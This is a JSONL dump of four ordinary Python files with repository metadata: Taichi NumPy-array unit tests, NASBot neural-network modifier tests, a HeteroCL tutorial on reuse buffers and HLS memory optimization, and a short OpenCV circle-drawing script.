{"text": "import numpy as np\nimport pytest\n\nimport taichi as ti\nfrom tests import test_utils\n\n\ndef with_data_type(dt):\n    val = ti.field(ti.i32)\n\n    n = 4\n\n    ti.root.dense(ti.i, n).place(val)\n\n    @ti.kernel\n    def test_numpy(arr: ti.ext_arr()):\n        for i in range(n):\n            arr[i] = arr[i]**2\n\n    a = np.array([4, 8, 1, 24], dtype=dt)\n\n    for i in range(n):\n        a[i] = i * 2\n\n    test_numpy(a)\n\n    for i in range(n):\n        assert a[i] == i * i * 4\n\n\n@test_utils.test()\ndef test_numpy_f32():\n    with_data_type(np.float32)\n\n\n@test_utils.test(require=ti.extension.data64)\ndef test_numpy_f64():\n    with_data_type(np.float64)\n\n\n@test_utils.test()\ndef test_numpy_i32():\n    with_data_type(np.int32)\n\n\n@test_utils.test(require=ti.extension.data64)\ndef test_numpy_i64():\n    with_data_type(np.int64)\n\n\n@test_utils.test()\ndef test_numpy_2d():\n    val = ti.field(ti.i32)\n\n    n = 4\n    m = 7\n\n    ti.root.dense(ti.i, n).dense(ti.j, m).place(val)\n\n    @ti.kernel\n    def test_numpy(arr: ti.ext_arr()):\n        for i in range(n):\n            for j in range(m):\n                arr[i, j] += i + j\n\n    a = np.empty(shape=(n, m), dtype=np.int32)\n\n    for i in range(n):\n        for j in range(m):\n            a[i, j] = i * j\n\n    test_numpy(a)\n\n    for i in range(n):\n        for j in range(m):\n            assert a[i, j] == i * j + i + j\n\n\n@test_utils.test()\ndef test_numpy_2d_transpose():\n    val = ti.field(ti.i32)\n\n    n = 8\n    m = 8\n\n    ti.root.dense(ti.ij, (n, m)).place(val)\n\n    @ti.kernel\n    def test_numpy(arr: ti.ext_arr()):\n        for i in ti.grouped(val):\n            val[i] = arr[i]\n\n    a = np.empty(shape=(n, m), dtype=np.int32)\n\n    for i in range(n):\n        for j in range(m):\n            a[i, j] = i * j + i * 4\n\n    test_numpy(a.transpose())\n\n    for i in range(n):\n        for j in range(m):\n            assert val[i, j] == i * j + j * 4\n\n\n@test_utils.test()\ndef test_numpy_3d():\n    val = ti.field(ti.i32)\n\n    n = 4\n    m = 7\n    p = 11\n\n    ti.root.dense(ti.i, n).dense(ti.j, m).dense(ti.k, p).place(val)\n\n    @ti.kernel\n    def test_numpy(arr: ti.ext_arr()):\n        for i in range(n):\n            for j in range(m):\n                for k in range(p):\n                    arr[i, j, k] += i + j + k * 2\n\n    a = np.empty(shape=(n, m, p), dtype=np.int32)\n\n    for i in range(n):\n        for j in range(m):\n            for k in range(p):\n                a[i, j, k] = i * j * (k + 1)\n\n    test_numpy(a)\n\n    for i in range(n):\n        for j in range(m):\n            for k in range(p):\n                assert a[i, j, k] == i * j * (k + 1) + i + j + k * 2\n\n\n@test_utils.test()\ndef test_numpy_3d_error():\n    val = ti.field(ti.i32)\n\n    n = 4\n    m = 7\n    p = 11\n\n    ti.root.dense(ti.i, n).dense(ti.j, m).dense(ti.k, p).place(val)\n\n    @ti.kernel\n    def test_numpy(arr: ti.ext_arr()):\n        for i in range(n):\n            for j in range(m):\n                for k in range(p):\n                    arr[i, j] += i + j + k * 2\n\n    a = np.empty(shape=(n, m, p), dtype=np.int32)\n\n    with pytest.raises(ti.TaichiCompilationError):\n        test_numpy(a)\n\n\n@test_utils.test()\ndef test_numpy_multiple_external_arrays():\n\n    n = 4\n\n    @ti.kernel\n    def test_numpy(a: ti.ext_arr(), b: ti.ext_arr()):\n        for i in range(n):\n            a[i] = a[i] * b[i]\n            b[i] = a[i] + b[i]\n\n    a = np.array([4, 8, 1, 24], dtype=np.int32)\n    b = np.array([5, 6, 12, 3], dtype=np.int32)\n    c = a * b\n    d = c + b\n\n    test_numpy(a, b)\n    for i in range(n):\n        assert a[i] == c[i]\n        assert b[i] == d[i]\n\n\n@test_utils.test()\ndef test_index_mismatch():\n    with pytest.raises(AssertionError):\n        val = ti.field(ti.i32, shape=(1, 2, 3))\n        val[0, 0] = 1\n\n\n@test_utils.test()\ndef test_numpy_zero():\n    @ti.kernel\n    def test_numpy(arr: ti.ext_arr()):\n        pass\n\n    test_numpy(np.empty(shape=(0), dtype=np.int32))\n    test_numpy(np.empty(shape=(0, 5), dtype=np.int32))\n    test_numpy(np.empty(shape=(5, 0), dtype=np.int32))\n\n\n@test_utils.test()\ndef test_numpy_struct_for():\n    @ti.kernel\n    def func1(a: ti.any_arr()):\n        for i, j in a:\n            a[i, j] = i + j\n\n    m = np.zeros((123, 456), dtype=np.int32)\n    func1(m)\n    for i in range(123):\n        for j in range(456):\n            assert m[i, j] == i + j\n\n    @ti.kernel\n    def func2(a: ti.any_arr()):\n        for I in ti.grouped(a):\n            a[I] = I.sum()\n\n    n = np.zeros((98, 76, 54), dtype=np.int32)\n    func2(n)\n    for i, j, k in ti.ndrange(98, 76, 54):\n        assert n[i, j, k] == i + j + k\n", "meta": {"hexsha": "58019da6ecf5e05e37f262fd90737235cd532880", "size": 4518, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/python/test_numpy.py", "max_stars_repo_name": "rwilliams251/taichi", "max_stars_repo_head_hexsha": "442710331be55baf5af17f9667db650c19cbb0b2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/python/test_numpy.py", "max_issues_repo_name": "rwilliams251/taichi", "max_issues_repo_head_hexsha": "442710331be55baf5af17f9667db650c19cbb0b2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/python/test_numpy.py", "max_forks_repo_name": "rwilliams251/taichi", "max_forks_repo_head_hexsha": "442710331be55baf5af17f9667db650c19cbb0b2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 20.2600896861, "max_line_length": 68, "alphanum_fraction": 0.51770695, "include": true, "reason": "import numpy", "num_tokens": 1412, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926197162523, "lm_q2_score": 0.13477592089824647, "lm_q1q2_score": 0.06056730416713337}}
{"text": "\"\"\"\n  Unit tests for the class NNModifier in nn_modifiers.py\n  -- kandasamy@cs.cmu.edu\n\"\"\"\n\n# pylint: disable=invalid-name\n\nfrom copy import deepcopy\nimport numpy as np\nimport os\nimport six\nfrom shutil import rmtree\n# Local imports\nfrom nn import nn_constraint_checkers\nfrom nn import nn_modifiers\nfrom nn.neural_network import NeuralNetwork\nfrom nn.nn_visualise import visualise_nn\nfrom unittest_neural_network import generate_cnn_architectures, generate_mlp_architectures\nfrom utils.base_test_class import BaseTestClass, execute_tests\n\n\ndef test_if_two_networks_are_equal(net1, net2, false_if_net1_is_net2=True):\n  \"\"\" Returns true if both net1 and net2 are equal.\n      If any part of net1 is copied onto net2, then the output will be false\n      if false_if_net1_is_net2 is True (default).\n  \"\"\"\n  is_true = True\n  for key in net1.__dict__.keys():\n    val1 = net1.__dict__[key]\n    val2 = net2.__dict__[key]\n    is_true = True\n    if isinstance(val1, dict):\n      if false_if_net1_is_net2:\n        is_true = is_true and (val1 is not val2)\n      for val_key in val1.keys():\n        is_true = is_true and np.all(val1[val_key] == val2[val_key])\n    elif hasattr(val1, '__iter__'):\n      if false_if_net1_is_net2:\n        is_true = is_true and (val1 is not val2)\n      is_true = is_true and np.all(val1 == val2)\n    else:\n      is_true = is_true and val1 == val2\n    if not is_true: # break here if necessary\n      return is_true\n  return is_true\n\n\ndef test_for_orig_vs_modifications(save_dir, save_prefix, old_nn,\n                                   get_modifications, constraint_checker, write_result):\n  \"\"\" Tests for the original network and the modifications. Also, visualises the networks.\n  \"\"\"\n  visualise_nn(old_nn, os.path.join(save_dir, '%s_orig'%(save_prefix)))\n  old_nn_copy = deepcopy(old_nn)\n  # Get the modified networks.\n  new_nns = get_modifications(old_nn)\n  # Go through each new network.\n  for new_idx, new_nn in enumerate(new_nns):\n    assert isinstance(new_nn, NeuralNetwork)\n    assert constraint_checker(new_nn)\n    visualise_nn(new_nn, os.path.join(save_dir, '%s_%d'%(save_prefix, new_idx)))\n  # Finally test if the networks have not changed.\n  assert test_if_two_networks_are_equal(old_nn, old_nn_copy)\n  write_result('%s (%s):: #new-networks: %d.'%(\n    save_prefix, old_nn.nn_class, len(new_nns)), 'test_result')\n\n\nclass NNModifierTestCase(BaseTestClass):\n  \"\"\" Unit tests for the NNModifier class. \"\"\"\n\n  def __init__(self, *args, **kwargs):\n    \"\"\" Constructor. \"\"\"\n    super(NNModifierTestCase, self).__init__(*args, **kwargs)\n    self.cnns = generate_cnn_architectures()\n    self.mlps = generate_mlp_architectures()\n    self.save_dir = '../scratch/unittest_modifier_class/'\n    self.cnn_constraint_checker = nn_constraint_checkers.CNNConstraintChecker(\n      50, 4, np.inf, 4.0, 5, 5, 100, 8000, 8)\n    self.mlp_constraint_checker = nn_constraint_checkers.MLPConstraintChecker(\n      50, 4, np.inf, 4.0, 5, 5, 100, 8000, 8)\n    self.cnn_modifier = nn_modifiers.NNModifier(self.cnn_constraint_checker)\n    self.mlp_modifier = nn_modifiers.NNModifier(self.mlp_constraint_checker)\n    self.modifier_wo_cc = nn_modifiers.NNModifier(None)\n\n  def _get_modifier_and_cc(self, nn):\n    \"\"\" Returns modifier for the neural network nn.\"\"\"\n    if nn.nn_class == 'cnn':\n      modifier = self.cnn_modifier\n      constraint_checker = self.cnn_constraint_checker\n    else:\n      modifier = self.mlp_modifier\n      constraint_checker = self.mlp_constraint_checker\n    return modifier, constraint_checker\n\n  def test_get_primitives(self):\n    \"\"\" Test for the get_primitives_grouped_by_type method. \"\"\"\n    self.report('Testing get_primitives_grouped_by_type')\n    test_nns = self.cnns + self.mlps\n    primitives, _ = self.cnn_modifier.get_primitives_grouped_by_type(self.cnns[0])\n    self.report('Types of primitives: %s'%(primitives.keys()), 'test_result')\n    for idx, nn in enumerate(test_nns):\n      nn_copy = deepcopy(nn)\n      modifier, _ = self._get_modifier_and_cc(nn)\n      primitives, _ = modifier.get_primitives_grouped_by_type(nn)\n      report_str = '%d (%s n=%d,m=%d):: '%(idx, nn.nn_class, nn.num_layers,\n                                           nn.get_total_num_edges())\n      total_num_primitives = 0\n      for _, list_or_prims in six.iteritems(primitives):\n        report_str += '%d, '%(len(list_or_prims))\n        total_num_primitives += len(list_or_prims)\n      report_str += 'tot=%d'%(total_num_primitives)\n      self.report(report_str, 'test_result')\n      assert test_if_two_networks_are_equal(nn_copy, nn)\n\n  def test_get_single_step_modifications(self):\n    \"\"\" Tests single step modifications. \"\"\"\n    self.report('Testing single step modifications.')\n    save_dir = os.path.join(self.save_dir, 'single_step')\n    if os.path.exists(save_dir):\n      rmtree(save_dir)\n    # Now iterate through the test networks\n    test_nns = self.cnns + self.mlps\n    for idx, old_nn in enumerate(test_nns):\n      save_prefix = str(idx)\n      modifier, constraint_checker = self._get_modifier_and_cc(old_nn)\n      if idx in [2, 12]:\n        num_modifications = 'all'\n      else:\n        num_modifications = 'all'\n      get_modifications = lambda arg_nn: modifier.get_single_step_modifications(\n                                           arg_nn, num_modifications)\n      test_for_orig_vs_modifications(save_dir, save_prefix, old_nn,\n        get_modifications, constraint_checker, self.report)\n\n  def test_multi_step_modifications(self):\n    \"\"\" Tests multi step modifications. \"\"\"\n    num_steps = 4\n    self.report('Testing %d-step modifications.'%(num_steps))\n    num_modifications = 20\n    save_dir = os.path.join(self.save_dir, 'multi_step_%d'%(num_steps))\n    if os.path.exists(save_dir):\n      rmtree(save_dir)\n    # Now iterate through the test networks\n    test_nns = self.cnns + self.mlps\n    for idx, old_nn in enumerate(test_nns):\n      save_prefix = str(idx)\n      modifier, constraint_checker = self._get_modifier_and_cc(old_nn)\n      get_modifications = lambda arg_nn: modifier.get_multi_step_modifications(\n                                           arg_nn, num_steps, num_modifications)\n      test_for_orig_vs_modifications(save_dir, save_prefix, old_nn,\n        get_modifications, constraint_checker, self.report)\n\n  def test_call(self):\n    \"\"\" Tests the __call__ function with a single input of the modifier. \"\"\"\n    self.report('Testing the __call__ function with single input of the modifier.')\n    num_modifications = 20\n    num_steps_probs = [0.5, 0.25, 0.125, 0.075, 0.05]\n    save_dir = os.path.join(self.save_dir, 'modifier_call_single')\n    if os.path.exists(save_dir):\n      rmtree(save_dir)\n    test_nns = self.cnns + self.mlps\n    for idx, old_nn in enumerate(test_nns):\n      save_prefix = str(idx)\n      modifier, constraint_checker = self._get_modifier_and_cc(old_nn)\n      get_modifications = lambda arg_nn: modifier(arg_nn, num_modifications,\n                                                  num_steps_probs)\n      test_for_orig_vs_modifications(save_dir, save_prefix, old_nn,\n        get_modifications, constraint_checker, self.report)\n\n  def test_call_with_list(self):\n    \"\"\" Tests the __call__ function with a single input of the modifier. \"\"\"\n    self.report('Testing the __call__ function with a list of inputs.')\n    num_modifications = 40\n    num_steps_probs = [0.5, 0.25, 0.125, 0.075, 0.05]\n    save_dir = os.path.join(self.save_dir, 'modifier_call_list')\n    if os.path.exists(save_dir):\n      rmtree(save_dir)\n    test_probs = [self.cnns, self.mlps, generate_mlp_architectures('class')]\n    for idx, prob in enumerate(test_probs):\n      save_prefix = str(idx)\n      modifier = self.modifier_wo_cc\n      modifications = modifier(prob, num_modifications, num_steps_probs)\n      for new_idx, new_nn in enumerate(modifications):\n        assert isinstance(new_nn, NeuralNetwork)\n        visualise_nn(new_nn, os.path.join(save_dir, '%s_%d'%(save_prefix, new_idx)))\n      self.report('With list of %d nns(%s):: #new-networks: %d.'%(\n                   len(prob), prob[0].nn_class, len(modifications)), 'test_result')\n\nif __name__ == '__main__':\n  execute_tests()\n\n", "meta": {"hexsha": "96193d258d8ae4c1b88cb6642d581c3527dc14cb", "size": 8128, "ext": "py", "lang": "Python", "max_stars_repo_path": "nn/unittest_nn_modifier_class.py", "max_stars_repo_name": "DRealArun/nasbot", "max_stars_repo_head_hexsha": "6eb26ee44bf171205b9df2fe29af90ecbd2abb65", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "nn/unittest_nn_modifier_class.py", "max_issues_repo_name": "DRealArun/nasbot", "max_issues_repo_head_hexsha": "6eb26ee44bf171205b9df2fe29af90ecbd2abb65", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "nn/unittest_nn_modifier_class.py", "max_forks_repo_name": "DRealArun/nasbot", "max_forks_repo_head_hexsha": "6eb26ee44bf171205b9df2fe29af90ecbd2abb65", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.554973822, "max_line_length": 90, "alphanum_fraction": 0.7001722441, "include": true, "reason": "import numpy", "num_tokens": 2037, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.403566839388498, "lm_q2_score": 0.1500288243424251, "lm_q1q2_score": 0.06054665845704465}}
{"text": "\"\"\"\nMemory Customization\n====================\n\n**Author**: Yi-Hsiang Lai (seanlatias@github)\n\nIn this tutorial, we demonstrate how memory customization works in HeteroCL.\n\"\"\"\nimport heterocl as hcl\nimport numpy as np\n##############################################################################\n# Memory Customization in HeteroCL\n# --------------------------------\n# There are two types of memory customization in HeteroCL. The first one is\n# similar to what we have seen in\n# :ref:`sphx_glr_tutorials_tutorial_04_compute.py`, where we demonstrate some\n# primitives that will be synthesized as pragmas. An example of such primitive\n# is ``partition``. Following is an example. Note that the primitive is\n# directly applied on the schedule instead of a stage. This is because we are\n# modifying the property of a tensor.\n\nhcl.init()\n\nA = hcl.placeholder((10, 10), \"A\")\n\ndef kernel(A):\n    return hcl.compute(A.shape, lambda x, y: A[x][y]+1, \"B\")\n\ns = hcl.create_schedule(A, kernel)\ns.partition(A)\nprint(hcl.lower(s))\n\n##############################################################################\n# In the IR, we should see a line that annotates tensor ``A`` to be\n# partitioned completely.\n#\n# .. note::\n#\n#    For more information, please see\n#    :obj:`heterocl.schedule.Schedule.partition`\n#\n# Data Reuse in HeteroCL\n# ----------------------\n# The other type of memory customization primitives involves the introduction\n# of allocation of new memory buffers. An example is data reuse. The idea of\n# data reuse is to reduce the number of accesses to a tensor by introducing\n# an intermediate buffer that holds the values being reused across different\n# iterations. This finally leads to better performance in hardware.\n#\n# Example: 2D Convolution\n# -----------------------\n# To demonstrate this, we use the computation of 2D convolution as an example.\n# Let's see how we can define 2D convolution in HeteroCL.\n\nhcl.init()\n\nA = hcl.placeholder((6, 6), \"A\")\nF = hcl.placeholder((3, 3), \"F\")\n\ndef kernel(A, F):\n    r = hcl.reduce_axis(0, 3)\n    c = hcl.reduce_axis(0, 3)\n    return hcl.compute((4, 4),\n            lambda y, x: hcl.sum(A[y+r, x+c]*F[r, c], axis=[r, c]), \"B\")\n\ns = hcl.create_schedule([A, F], kernel)\nprint(hcl.lower(s))\n\n##############################################################################\n# In the above example, we convolve the input tensor ``A`` with a filter ``F``.\n# Then, we store the output in tensor ``B``. Note that the output shape is\n# different from the shape of the input tensor. Let's give some real inputs.\n\nhcl_A = hcl.asarray(np.random.randint(0, 10, A.shape))\nhcl_F = hcl.asarray(np.random.randint(0, 10, F.shape))\nhcl_B = hcl.asarray(np.zeros((4, 4)))\nf = hcl.build(s)\nf(hcl_A, hcl_F, hcl_B)\nprint('Input:')\nprint(hcl_A)\nprint('Filter:')\nprint(hcl_F)\nprint('Output:')\nprint(hcl_B)\n\n##############################################################################\n# To analyze the data reuse, let's take a closer look to the generated IR.\n# To begin with, we can see that in two consecutive iterations of ``x`` (i.e.,\n# the inner loop), there are 6 pixels that are overlapped, as illustrated in\n# the figure below. Without any optimization, **we are reading 9 values from\n# the input for each iteration**.\n#\n# .. figure:: ../../../tutorials/moving_x/Slide1.png\n#    :scale: 60 %\n#\n# Introduce Data Reuse: Window Buffer\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# To reuse the overlapped pixels, we can introduce a reuse buffer. Since the\n# filter moves like a window, we call the buffer a window buffer ``WB``. The\n# window buffers stores the reused pixels and also the new pixels that will\n# be used in the current iteration. For each iteration, to update the values\n# inside the window buffer, the last two columns, in this case, shift left.\n# After that, the last column is replaced with the pixels read from the\n# input. Now, we only **read 3 values from the input for each iteration**.\n#\n# .. figure:: ../../../tutorials/moving_x/Slide2.png\n#    :scale: 60 %\n#\n# To introduce such reuse buffers in HeteroCL, we use the API ``reuse_at``.\n# The first argument is the **tensor** whose values will be reused. The\n# second argument is the output **stage** that reuses the values of the\n# tensor. The reason why we need to specify this is because we may have\n# multiple stages reusing the values from the same input tensor. The third\n# argument is the desired axis to be reused. It must be the output axis.\n# Finally, we can specify the name of the reuse buffer. The API returns\n# a new tensor.\n\ns_x = hcl.create_schedule([A, F], kernel)\nWB = s_x.reuse_at(A, s_x[kernel.B], kernel.B.axis[1], \"WB\")\nprint(hcl.lower(s_x))\n\n##############################################################################\n# In the printed IR, you should be able to see a buffer ``WB`` with size\n# (3, 3) being allocated. Moreover, in the ``produce WB`` scope, you should\n# see the update algorithm described above. Now let's test the function again.\n\nhcl_Bx = hcl.asarray(np.zeros((4, 4)))\nf = hcl.build(s_x)\nf(hcl_A, hcl_F, hcl_Bx)\nprint('Output without WB:')\nprint(hcl_B)\nprint('Output with WB:')\nprint(hcl_Bx)\n\n##############################################################################\n# You should see the same results with and without the window buffer.\n#\n# Reuse at a Different Dimension: Linebuffer\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Similarly, we can create a reuse buffer for two consecutive iterations of\n# ``y``. In this case, in each iteration of ``y``, we read an entire row from\n# input ``A``. Meanwhile, we update the reuse buffer by shifting up. Since it\n# reads an entire line at a time, we call it a linebuffer ``LB``. The\n# operation is illustrated in the figure below.\n#\n# .. figure:: ../../../tutorials/moving_x/Slide3.png\n#    :scale: 60 %\n#\n# Similar to the window buffer, we can introduce the linebuffer in HeteroCL by\n# using a single ``reuse_at`` API. We show the code below.\n\ns_y = hcl.create_schedule([A, F], kernel)\nLB = s_y.reuse_at(A, s_y[kernel.B], kernel.B.axis[0], \"LB\")\nprint(hcl.lower(s_y))\n\nhcl_By = hcl.asarray(np.zeros((4, 4)))\nf = hcl.build(s_y)\nf(hcl_A, hcl_F, hcl_By)\nprint('Output without LB:')\nprint(hcl_B)\nprint('Output with LB:')\nprint(hcl_By)\n\n##############################################################################\n# Note that the difference between WB and LB is the we reuse at different\n# axes. We can also see from the printed IR that the allocated size is larger,\n# which is the same as illustrated in the figure above. In this case, we read\n# 6 pixels from the input for each iteration of ``y``, which means we read 1\n# pixel for each iteration of ``x`` **effectively**. Namely, this is not true\n# in terms of hardware execution. Can we do even better?\n#\n# Combine Window Buffer and Linebuffer\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# We do not need to restrict ourselves to reuse at a single dimension. Since\n# we have data reuse in both dimension, we can reuse both. In this case,\n# we generate both a linebuffer and a window buffer. Let's take a look at\n# the figure first.\n#\n# .. figure:: ../../../tutorials/moving_x/Slide4.png\n#    :scale: 60 %\n#\n# What happens here is that, we first update the linebuffer (blue arrows),\n# then we update the window buffer (purple arrows). More precisely, for each\n# iteration of ``x``, we **read 1 pixel from input ``A``**. We simultaneously\n# shift up the linebffer. After we update the linebuffer, we go on update the\n# window buffer by reading pixels updated in the linebuffer. Then we shift the\n# window buffer. To describe such behavior in HeteroCL is very easy. We only\n# need to apply ``reuse_at`` twice. We just need to specify the corresponding\n# reuse tensors and the reuse axes. In this case, the linebuffer reuses the\n# pixels from the input ``A`` while the window buffer reuses from the\n# linebuffer. Following we show the code and its IR.\n\ns_xy = hcl.create_schedule([A, F], kernel)\nLB = s_xy.reuse_at(A, s_xy[kernel.B], kernel.B.axis[0], \"LB\")\nWB = s_xy.reuse_at(LB, s_xy[kernel.B], kernel.B.axis[1], \"WB\")\nprint(hcl.lower(s_xy))\n\nhcl_Bxy = hcl.asarray(np.zeros((4, 4)))\nf = hcl.build(s_xy)\nf(hcl_A, hcl_F, hcl_Bxy)\nprint('Output without reuse buffers:')\nprint(hcl_B)\nprint('Output with reuse buffers:')\nprint(hcl_Bxy)\n\n##############################################################################\n# We can see from the IR that the allocation sizes are indeed as expected.\n#\n# Further Optimization\n# ~~~~~~~~~~~~~~~~~~~~\n# To further optimize the design, we need to think more carefully. For each\n# iteration of ``x``, there are three pixels in LB that are being read/write\n# simultaneously. Thus, to maximize the memory bandwidth, we need to partition\n# LB in the row direction. For WB, all pixels are updated at the same time.\n# Therefore, we need to partition the whole WB completely. Finally, we can\n# pipeline the whole design. Don't forget that we also need to partition the\n# filter ``F``.\n\ns_final = hcl.create_schedule([A, F], kernel)\nLB = s_final.reuse_at(A, s_final[kernel.B], kernel.B.axis[0], \"LB\")\nWB = s_final.reuse_at(LB, s_final[kernel.B], kernel.B.axis[1], \"WB\")\ns_final.partition(LB, dim=1)\ns_final.partition(WB)\ns_final.partition(F)\ns_final[kernel.B].pipeline(kernel.B.axis[1])\nprint(hcl.lower(s_final))\n\n##############################################################################\n# Finally, we can generate the HLS code and see if the II is indeed 1.\n\nf = hcl.build(s_final, target=\"vhls\")\n\n##############################################################################\n# Following is a sample report from Vivado_HLS.\n#\n# .. code::\n#\n#    + Latency (clock cycles):\n#        * Summary:\n#        +-----+-----+-----+-----+---------+\n#        |  Latency  |  Interval | Pipeline|\n#        | min | max | min | max |   Type  |\n#        +-----+-----+-----+-----+---------+\n#        |   42|   42|   43|   43|   none  |\n#        +-----+-----+-----+-----+---------+\n#\n#        + Detail:\n#            * Instance:\n#            N/A\n#\n#            * Loop:\n#            +----------+-----+-----+----------+-----------+-----------+------+----------+\n#            |          |  Latency  | Iteration|  Initiation Interval  | Trip |          |\n#            | Loop Name| min | max |  Latency |  achieved |   target  | Count| Pipelined|\n#            +----------+-----+-----+----------+-----------+-----------+------+----------+\n#            |- Loop 1  |   40|   40|         6|          1|          1|    36|    yes   |\n#            +----------+-----+-----+----------+-----------+-----------+------+----------+\n#\n# Limitations\n# -----------\n# Following we list the limitations of using reuse buffers in HeteroCL.\n#\n# 1. We do not accept non-linear index patterns, e.g., ``y*y+c``, ``y*(y+c)``\n# 2. The stride is not one, e.g., ``2*y+c``\n# 3. There is no overlapped pixel between two consecutive iterations of the\n#    specified axis, e.g., ``[x+r, y]`` and reuse ``y``\n#\n# More Examples: 2D Image Blur\n# ----------------------------\n# HeteroCL is also able to infer reuse buffers for explicit reduction\n# operations. Namely, instead of using ``hcl.sum``, we can expand the compute\n# patterns. Following is an example of 2D blur.\n\nhcl.init()\nA = hcl.placeholder((10, 10), \"A\")\n\ndef kernel_blur(A):\n    return hcl.compute((8, 8), lambda y, x: A[y, x] + A[y+1, x+1] + A[y+2, x+2], \"B\")\n\ns_blur = hcl.create_schedule(A, kernel_blur)\nB = kernel_blur.B\nRB_y = s_blur.reuse_at(A, s_blur[B], B.axis[0], \"RB_y\")\nRB_x = s_blur.reuse_at(RB_y, s_blur[B], B.axis[1], \"RB_x\")\nprint(hcl.lower(s_blur))\n", "meta": {"hexsha": "1e0788cf2117da224350879abc83cc29f3288e08", "size": 11534, "ext": "py", "lang": "Python", "max_stars_repo_path": "tutorials/tutorial_06_memory.py", "max_stars_repo_name": "jenniechae/heterocl", "max_stars_repo_head_hexsha": "bf1239993fe3c029e9d72f5ffda399693c2b4800", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tutorials/tutorial_06_memory.py", "max_issues_repo_name": "jenniechae/heterocl", "max_issues_repo_head_hexsha": "bf1239993fe3c029e9d72f5ffda399693c2b4800", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tutorials/tutorial_06_memory.py", "max_forks_repo_name": "jenniechae/heterocl", "max_forks_repo_head_hexsha": "bf1239993fe3c029e9d72f5ffda399693c2b4800", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.4701754386, "max_line_length": 90, "alphanum_fraction": 0.606814635, "include": true, "reason": "import numpy", "num_tokens": 2976, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.12592277631593438, "lm_q1q2_score": 0.060503209100402446}}
{"text": "import cv2\r\nimport numpy as np\r\ndef main():\r\n\r\n    resim=np.zeros((400,400,3),dtype=\"uint8\")\r\n\r\n    cv2.circle(resim,(200,200),50,(0,255,0),2)\r\n    #ikinci parametremiz dairenin merkezi..\u00dc\u00e7\u00fcnc\u00fc parametre yar\u0131\u00e7ap istiyor\r\n    #4. parametre BGR istiyor\r\n    #5.parametrede kal\u0131nl\u0131k istiyor.\r\n\r\n    cv2.imshow(\"DAIRE\",resim)\r\n\r\n    cv2.waitKey(0)\r\n    cv2.destroyAllWindows()\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n", "meta": {"hexsha": "90b089860b7204a8233b6df1c7c49d8277515831", "size": 416, "ext": "py", "lang": "Python", "max_stars_repo_path": "lineCircleText (4).py", "max_stars_repo_name": "ozgeKrt/OpenCv-CesitliCalismalar", "max_stars_repo_head_hexsha": "d851825f2948232266cd53381e4edcdab808cfb0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-05-24T12:20:49.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-24T12:20:49.000Z", "max_issues_repo_path": "lineCircleText (4).py", "max_issues_repo_name": "ozgeKrt/OpenCv-CesitliCalismalar", "max_issues_repo_head_hexsha": "d851825f2948232266cd53381e4edcdab808cfb0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lineCircleText (4).py", "max_forks_repo_name": "ozgeKrt/OpenCv-CesitliCalismalar", "max_forks_repo_head_hexsha": "d851825f2948232266cd53381e4edcdab808cfb0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.8947368421, "max_line_length": 76, "alphanum_fraction": 0.6466346154, "include": true, "reason": "import numpy", "num_tokens": 138, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.12592277467581975, "lm_q1q2_score": 0.06050320831236234}}
